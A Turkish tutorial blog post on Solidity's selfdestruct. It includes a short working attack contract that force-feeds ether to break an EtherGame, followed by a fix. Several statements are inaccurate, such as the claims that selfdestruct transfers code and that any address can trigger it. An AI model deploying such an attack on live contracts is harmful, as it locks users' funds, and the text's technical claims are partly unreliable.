1. Anasayfa
  2. 100 Günde Solidity

🧵 100GündeSolidity 069 – Hacks : Self Destruct

🧵 100GündeSolidity 069 – Hacks : Self Destruct
Self Destruct
0

Self Destruct

Merhaba,

Bu e-bültenimizde Solidity programlama dilinde yer alan “Self Destruct” özelliğine odaklanacağız. Self Destruct, Ethereum ağındaki akıllı sözleşmelerde bulunan ve sözleşmeyi sonlandırmak için kullanılan bir işlevdir. Bu özellik, sözleşmenin fonlarını ve varlıklarını geri almak için kullanılabilir.

Bu e-bültenimizde, Self Destruct özelliğinin ne olduğunu, nasıl kullanıldığını, avantajlarını ve dezavantajlarını, örneklerini ve kullanım senaryolarını, risklerini, güvenlik önerilerini ve ipuçlarını, güncelleme yöntemlerini, gelecekteki etkilerini ve daha fazlasını ele alacağız.

Solidity programlama diline ilgi duyanlar için, bu e-bültenimizde yer alan bilgilerin faydalı olacağını umuyoruz.

Self Destruct Nedir?

Self Destruct, Solidity programlama dilinde yer alan ve Ethereum ağındaki akıllı sözleşmelerde kullanılan bir özelliktir. Bu özellik, sözleşmeyi sonlandırmak ve sözleşmenin kontrolünü geri almak için kullanılır.

Self Destruct işlevi, belirtilen adrese sahip sözleşmeyi tamamen ortadan kaldırır ve sözleşmenin bakiyesini, varlıklarını ve kodunu belirtilen adrese aktarır. Bu işlev sayesinde, sözleşmenin fonlarını ve varlıklarını geri almak mümkündür.

Self Destruct özelliği, Ethereum ağındaki sözleşmelerin güvenliğini artırmak için de kullanılabilir. Örneğin, bir sözleşmenin kullanım süresi sona erdiğinde veya bir hata oluştuğunda, sözleşmenin kontrolünü geri alarak fonların güvence altına alınması sağlanabilir. Ancak Self Destruct işlevi yanlış kullanıldığında da ciddi riskler oluşabilir.

Self Destruct Nasıl Kullanılır?

Self Destruct işlevi, Solidity programlama dilinde “selfdestruct” anahtar kelimesi ile kullanılır. Self Destruct işlevi, sözleşmenin adresi belirtilerek çağrılır ve bu işlem sonrasında sözleşme tamamen silinir.

İşlevin kullanımı aşağıdaki şekilde gösterilir:

selfdestruct(adres);

Burada “adres”, sözleşmenin fonlarının ve varlıklarının aktarılacağı adresi ifade eder. Bu adres, normal bir Ethereum hesap adresi olabileceği gibi, başka bir akıllı sözleşmenin adresi de olabilir.

Self Destruct işlevi, sözleşmenin bakiyesinin aktarılacağı adresi belirtilene kadar sözleşmenin kontrolünü devam ettirir. Bakiye, belirtilen adrese aktarıldıktan sonra, sözleşme tamamen silinir ve artık kontrol edilemez hale gelir.

Self Destruct işlevi, sözleşmenin tamamen silinmesine neden olduğundan, bu işlevin kullanımı dikkatli bir şekilde yapılmalıdır. Ayrıca, sözleşmenin kullanıcılarının bakiyeleri veya varlıkları olduğundan emin olunmalı ve bu varlıkların kaybolmaması için gerekli tedbirler alınmalıdır.

Self Destruct’un Avantajları ve Dezavantajları Nelerdir?

Self Destruct işlevi, Ethereum ağındaki akıllı sözleşmelerin sonlandırılması için kullanılan bir özelliktir. Bu özellik, bazı avantajlara sahip olsa da, yanlış kullanıldığında dezavantajlar da ortaya çıkabilir.

İşte Self Destruct’un avantajları ve dezavantajları:

Avantajları:

  1. Güvenlik: Self Destruct işlevi, Ethereum ağındaki akıllı sözleşmelerin güvenliği için önemli bir özelliktir. Bu işlev sayesinde, sözleşmenin kontrolü geri alınarak fonların güvence altına alınması mümkündür.
  2. Kaynakların Geri Alınması: Self Destruct işlevi, kullanılmayan veya hatalı olan sözleşmelerin kontrolünü geri alarak kaynakların geri alınmasını sağlar.
  3. Kod Temizliği: Self Destruct işlevi, sözleşmenin Ethereum ağından tamamen silinmesini sağladığı için, Ethereum ağı üzerinde gereksiz kod parçalarının birikmesi önlenir.

Dezavantajları:

  1. Yanlış Kullanım: Self Destruct işlevi yanlış kullanıldığında, kullanıcılara veya sözleşmenin varlıklarına zarar verebilir.
  2. Geri Alınamayan İşlem: Self Destruct işlevi, sözleşmenin kontrolünün geri alınmasından sonra geri alınamaz bir işlem yapar. Bu nedenle, yanlışlıkla veya bilinçsizce kullanılması ciddi sonuçlara neden olabilir.
  3. Kodun Silinmesi: Self Destruct işlevi, sözleşmenin kodunu tamamen siler. Bu nedenle, sözleşmenin koduna erişim kaybedilir ve geri alınamaz bir şekilde kaybolabilir.

Self Destruct Örnekleri ve Kullanım Senaryoları

Self Destruct işlevi, Ethereum ağındaki akıllı sözleşmelerin sonlandırılması için kullanılan bir özelliktir. İşlevin kullanım senaryoları, sözleşmenin amacına ve gereksinimlerine bağlı olarak farklılık gösterir. İşte Self Destruct işlevinin bazı örnekleri ve kullanım senaryoları:

  1. Kullanılmayan Sözleşmelerin Sonlandırılması: Self Destruct işlevi, kullanılmayan veya hatalı olan sözleşmelerin sonlandırılması için kullanılabilir. Bu sayede, Ethereum ağı üzerinde gereksiz sözleşmelerin birikmesi engellenir ve kaynakların geri alınması mümkün hale gelir.
  2. Güvenlik Açıklarının Kapatılması: Self Destruct işlevi, Ethereum ağındaki akıllı sözleşmelerin güvenliği için önemli bir özelliktir. Bu işlev sayesinde, sözleşmenin kontrolü geri alınarak fonların güvence altına alınması ve güvenlik açıklarının kapatılması mümkün hale gelir.
  3. Geçici Sözleşmelerin Oluşturulması: Self Destruct işlevi, geçici sözleşmelerin oluşturulması için de kullanılabilir. Bu sayede, belirli bir süre için kullanılacak olan sözleşmelerin kontrolü geri alınarak fonların güvence altına alınması ve sürenin sonunda sözleşmenin otomatik olarak sonlandırılması sağlanabilir.
  4. Fonların Aktarılması: Self Destruct işlevi, sözleşmenin bakiyesinin belirtilen adrese aktarılması için de kullanılabilir. Bu sayede, sözleşmenin fonları güvence altına alınır ve varlıkların kaybolması önlenir.

Örnek olarak, aşağıdaki kod bloğu, Self Destruct işlevinin nasıl kullanılabileceğini gösterir:

pragma solidity ^0.8.0;

contract SampleContract {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    function destroy() public {
        require(msg.sender == owner, "Only the owner can destroy the contract");
        selfdestruct(owner);
    }
}

Yukarıdaki örnekte, sözleşmenin sahibi, “destroy” işlevi aracılığıyla sözleşmeyi sonlandırabilir. Self Destruct işlevi, sözleşmenin kontrolünü geri alarak, sözleşmenin fonlarını ve varlıklarını belirtilen adrese aktarır ve sözleşmeyi tamamen siler.

Akıllı Sözleşme Örneği İNCELEME

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Bu akıllı sözleşme bir oyun olarak tasarlanmıştır. Amacı, 7. oyuncu olarak 1 Ether yatırarak oyunu kazanmaktır. Oyuncular sadece 1 Ether yatırabilirler. Kazanan, tüm Ether’ı çekebilir.

Sözleşme, “EtherGame” adında bir ana sözleşmeden ve “Attack” adında bir saldırı sözleşmesinden oluşur. Ana sözleşme, oyuncuların Ether yatırmasını sağlar ve kazananı belirler. Saldırı sözleşmesi, EtherGame sözleşmesini hedef alır ve onu bozmak için tasarlanmıştır.

Oyunun işleyişi şöyle olacaktır: İlk olarak, EtherGame sözleşmesi yayınlanır. Ardından, iki oyuncu (Alice ve Bob gibi) 1’er Ether yatırarak oynamaya karar verirler. Daha sonra, saldırı sözleşmesi (Attack) EtherGame sözleşmesinin adresi ile yayınlanır ve 5 Ether ile çağrılır. Bu, EtherGame sözleşmesini bozacak ve hiç kimse kazanamayacaktır.

Attack sözleşmesi, selfdestruct() fonksiyonunu kullanarak EtherGame sözleşmesini hedef alır ve onu bozar. Bu işlem sonucunda, EtherGame sözleşmesinin bakiyesi 7 Ether’a eşit hale gelir. Artık hiç kimse Ether yatıramaz ve kazanan belirlenemez hale gelir.

Bu örnek, akıllı sözleşmelerin güvenlik açıklarına dikkat çekmek için tasarlanmıştır. Bu tür saldırılar, Solidity programlama dilinin kodlama ve sözleşme tasarlama aşamalarında düşünülerek önlenmelidir.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}

Bu akıllı sözleşme, EtherGame adlı bir oyunu simüle ediyor. Oyunun amacı, 3 ether’e ulaşana kadar 1 ether yatıran oyuncular arasında 3. oyuncu olmak. Kazanan, tüm ether’i geri çekebilir.

Öncelikle, işlevsellik açısından, oyuncular 1 ether yatırarak oyunu oynamaya başlarlar. Her bir yatırım, contract’in balance değerine eklenir ve eğer balance hedefe ulaşırsa, kazanan belirlenir.

Süreç açısından, her yatırım işlemi, bir etherden fazla yatırım yapmayı engelleyen bir require ifadesi ile sınırlandırılmıştır. Ayrıca, oyunda hedefe ulaşıldığında kazananın belirlenmesi için winner adlı bir değişken kullanılır.

Güvenlik açısından, EtherGame’in yetersiz olduğu ve Etheri doğru bir şekilde yönetmediği için çeşitli sorunlar ortaya çıkabilir. Özellikle, selfdestruct kullanılmaması ve address(this).balance değişkenine güvenilmesi, sözleşmenin tehlikeye girmesine neden olabilir. Örneğin, bir saldırganın contract’ta büyük bir miktar ether biriktirmesi ve daha sonra kendisine kazanan olarak ilan etmesi gibi senaryolar söz konusu olabilir.

Bu nedenle, sözleşmenin güvenliği arttırmak için daha iyi teknikler kullanılabilir. Örneğin, oyuncuların yatırım yaptığı her işlemde balance değerinin güncellenmesi ve winner’ın kazanana atanması iyi bir adımdır. Ayrıca, selfdestruct kullanımından kaçınmak ve adres bakiyeleri yerine diğer ölçütlere dayalı olarak belirlemek daha güvenli bir yaklaşım olabilir.

Self Destruct Kullanarak Smart Contract’i Sonlandırmanın Riskleri

Self Destruct kullanarak smart contract’i sonlandırmanın belirli riskleri vardır. Öncelikle, contract’i sonlandırmak isteyen adresin önceden belirlenmiş olması gerekir. Aksi takdirde, contract’ta yer alan fonlar sürekli olarak kullanılamaz hale gelebilir. Bu da, contract’e sahip olan kişinin tüm fonlarının kaybolmasına neden olabilir.

Ayrıca, contract’in sonlandırılması, contract içinde yer alan tüm verilerin silinmesine neden olur. Bu, contract’in tamamen ortadan kalkmasına neden olabilir ve böylece contract’ta yer alan tüm verilerin kalıcı olarak kaybolmasına neden olabilir.

Son olarak, contract’in sonlandırılması, doğru bir şekilde yapılmazsa, contract’ta yer alan fonların belirli adreslere yanlışlıkla gönderilmesine neden olabilir. Bu da, fonların geri alınmasının imkansız hale gelmesine neden olabilir. Bu nedenle, Self Destruct kullanarak smart contract’i sonlandırmadan önce, dikkatli bir şekilde düşünmek ve doğru bir şekilde işlem yapmak önemlidir.

Self Destruct Kullanımı Hakkında En Sık Yapılan Hatalar

Self Destruct kullanımında en sık yapılan hatalar şunlardır:

  1. Doğru adresin kullanılmaması: Self Destruct işlemi gerçekleştirilirken, yanlış adres kullanılması sonucu istenmeyen birimlerin yok edilmesine neden olabilir.
  2. Önemli bilgilerin kaybedilmesi: Self Destruct işlemi, akıllı sözleşmenin tamamını siler, bu nedenle, akıllı sözleşmenin içindeki önemli verilerin kaybolması söz konusu olabilir.
  3. Kontrolsüz bir şekilde kullanımı: Self Destruct, akıllı sözleşmenin tamamını yok eder, bu nedenle, kontrolsüz bir şekilde kullanıldığında, hatalı sonuçlar ortaya çıkabilir.
  4. Bağımlı akıllı sözleşmelerin etkilenmesi: Self Destruct işlemi, bir akıllı sözleşmenin bağımlı olduğu diğer akıllı sözleşmeleri de etkileyebilir. Bu nedenle, bu işlem yapmadan önce, bağımlı sözleşmelerin durumu hakkında dikkatli olmak gerekir.
  5. Güvenlik açıklarının oluşması: Self Destruct işlemi, kötü niyetli saldırganların akıllı sözleşme üzerinde çeşitli saldırılar gerçekleştirmesine neden olabilir. Bu nedenle, bu işlemin kullanımı sırasında güvenlik açıklarının oluşmasına dikkat edilmelidir.

Self Destruct ile İlgili Güvenlik Önerileri ve İpuçları

Self Destruct işlemi, akıllı sözleşmelerde ciddi bir işlemdir ve dikkatli kullanılmalıdır. İşte Self Destruct kullanırken dikkat edilmesi gereken bazı güvenlik önerileri ve ipuçları:

  1. Sadece gerektiğinde kullanın: Self Destruct işlemini yalnızca akıllı sözleşmenin kullanımı sonlandırılması gerektiğinde kullanın. Başka amaçlar için kullanılmamalıdır.
  2. Kodunuzu dikkatle inceleyin: Self Destruct kodunu, akıllı sözleşmenizin tamamı gibi dikkatle inceleyin. Hataları ve güvenlik açıklarını önlemek için bir güvenlik uzmanının gözden geçirmesini de isteyebilirsiniz.
  3. Yedekleme yapın: Akıllı sözleşmenizin tüm kodunu ve işlemlerini yedekleyin. Self Destruct işlemi sonrasında, tüm bilgileriniz silinecektir, bu nedenle yedekleme yapmanız önemlidir.
  4. Akıllı sözleşmenizi test edin: Self Destruct işleminden önce, akıllı sözleşmenizi farklı senaryolarda test edin. Bu şekilde işlemin sonuçlarını önceden tahmin edebilirsiniz.
  5. Birden fazla onay kullanın: Self Destruct işlemi gerçekleştirilmeden önce birden fazla onay kullanılabilir. Örneğin, sözleşme sahibi ve diğer güvenilir kişilerin onayı alınabilir.
  6. Fonların güvenliğini sağlayın: Akıllı sözleşmenizdeki tüm fonların güvenliğini sağlamak için gerekli adımları atın. Örneğin, fonların depolanması için birden fazla hesap kullanabilirsiniz.
  7. Düzgün bir şekilde belgeleyin: Self Destruct işlemini düzgün bir şekilde belgeleyin ve yaptığınız tüm işlemleri kaydedin. Bu, gelecekte sorun yaşamanız durumunda size yardımcı olabilir.
  8. Kendi işleminizi yapın: Self Destruct işlemini kendiniz yapın. Başkalarına yaptırırsanız, güvenlik riskleri artabilir.

Self Destruct ile Smart Contract Güncellemesi Nasıl Yapılır?

Self Destruct kullanarak bir akıllı sözleşmeyi güncellemek mümkün değildir. Self Destruct, bir akıllı sözleşmeyi tamamen yok etmek için kullanılır ve geri dönüşü olmayan bir işlem yapar. Bu nedenle, akıllı sözleşme güncellemeleri için Self Destruct kullanmak doğru bir yaklaşım değildir.

Bunun yerine, akıllı sözleşmelerin güncellenmesi için genellikle “Upgradeable Smart Contract” adı verilen bir yaklaşım kullanılır. Bu yaklaşımda, akıllı sözleşmeler bir ana sözleşme ile bağlantılıdır ve güncellemeler ana sözleşmede yapılır. Böylece, sözleşme işlevselliğinde değişiklik yapılabilir ve eski sözleşmelerin kullanımına devam edilebilir.

Upgradeable Smart Contract yaklaşımı, özellikle büyük ve karmaşık sözleşmeler için kullanışlıdır. Ancak bu yaklaşım da bazı güvenlik riskleri taşımaktadır ve dikkatli bir şekilde tasarlanmalıdır.

Self Destruct Kullanımının Geleceği ve Ethereum Ecosystem Üzerindeki Etkisi

Self Destruct, Ethereum akıllı sözleşmelerindeki bir özelliktir ve akıllı sözleşmelerin etkili bir şekilde sonlandırılması için bir araçtır. Ancak, Self Destruct’ın kötüye kullanımı nedeniyle Ethereum ekosistemi için ciddi riskler oluşturabilir.

Gelecekte, Ethereum topluluğu tarafından Self Destruct kullanımı hakkında daha fazla bilinç oluşturulması ve geliştiricilerin daha iyi güvenlik uygulamaları benimsemesi bekleniyor. Ayrıca, Ethereum 2.0 ve diğer blockchain platformlarındaki gelişmelerle birlikte, daha iyi güvenlik önlemleri ve akıllı sözleşme tasarımları sunulması bekleniyor.

Bununla birlikte, Self Destruct özelliği hala Ethereum akıllı sözleşmelerinde mevcut olduğundan, geliştiricilerin bu özelliğin güvenli kullanımı hakkında bilgi sahibi olmaları önemlidir. Ayrıca, güvenlik konusunda uzmanların ve danışmanların yardımıyla Self Destruct kullanımı konusunda daha güvenli tasarım ve uygulama yöntemleri geliştirilmesi önemlidir.

Self Destruct Hakkında Bilinmesi Gerekenler

Self Destruct, Ethereum akıllı sözleşmelerinde kullanılan bir özelliktir ve bir sözleşmenin tamamen sonlandırılmasına izin verir. Bu özellik, bir sözleşmenin herhangi bir Ethereum adresi tarafından çağrılması sonucunda gerçekleştirilebilir. Self Destruct, bir sözleşmenin sonlandırılmasına ve bununla birlikte tüm fonların otomatik olarak sözleşmeden çekilmesine izin verir.

Self Destruct’un kullanımı, Ethereum topluluğu tarafından tartışmalıdır. Bunun nedeni, yanlış kullanımın sözleşmelerin fonlarının ve verilerinin kalıcı olarak kaybedilmesine neden olabileceği gerçeğidir. Bu nedenle, Ethereum topluluğu Self Destruct’un dikkatli bir şekilde kullanılmasını ve güvenliğin öncelikli tutulmasını önermektedir.

Solidity Programlama Dili Öğrenme yolculuğunuz hakkında daha iyi rehberlik almak için Solidity nedir? Ethereum Akıllı Sözleşmelerinin Dili Rehberi içeriğimize göz atın. Dilerseniz Yeni Başlayanlar için Solidity – Akıllı Sözleşme Geliştirme Hızlandırılmış Kursuna katılın.

Çalışmaya nereden başlayacağım diyenler için Blockchain ​​Developer Olmak İçin Yol Haritası içeriğine de muhakkak bakın.

Gelin aklınızdaki soruları SUPERPEER sohbetinde cevaplayalım.

Bu makaleyi okuduğunuz için teşekkürler! Bana destek olmak isterseniz;

Beni TwitterLinkedin ve YouTube‘da takip edin.

Kısa bir yorum bırakmayı UNUTMAYIN!

solidity101 - Solidity, 2015 yılında Christian Reitwiessner liderliğinde piyasaya sürülen, büyük harf kullanımına göre ikinci en büyük kripto para piyasası olan Ethereum tarafından oluşturulan yepyeni bir programlama dilidir.

Yazarın Profili
İlginizi Çekebilir

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir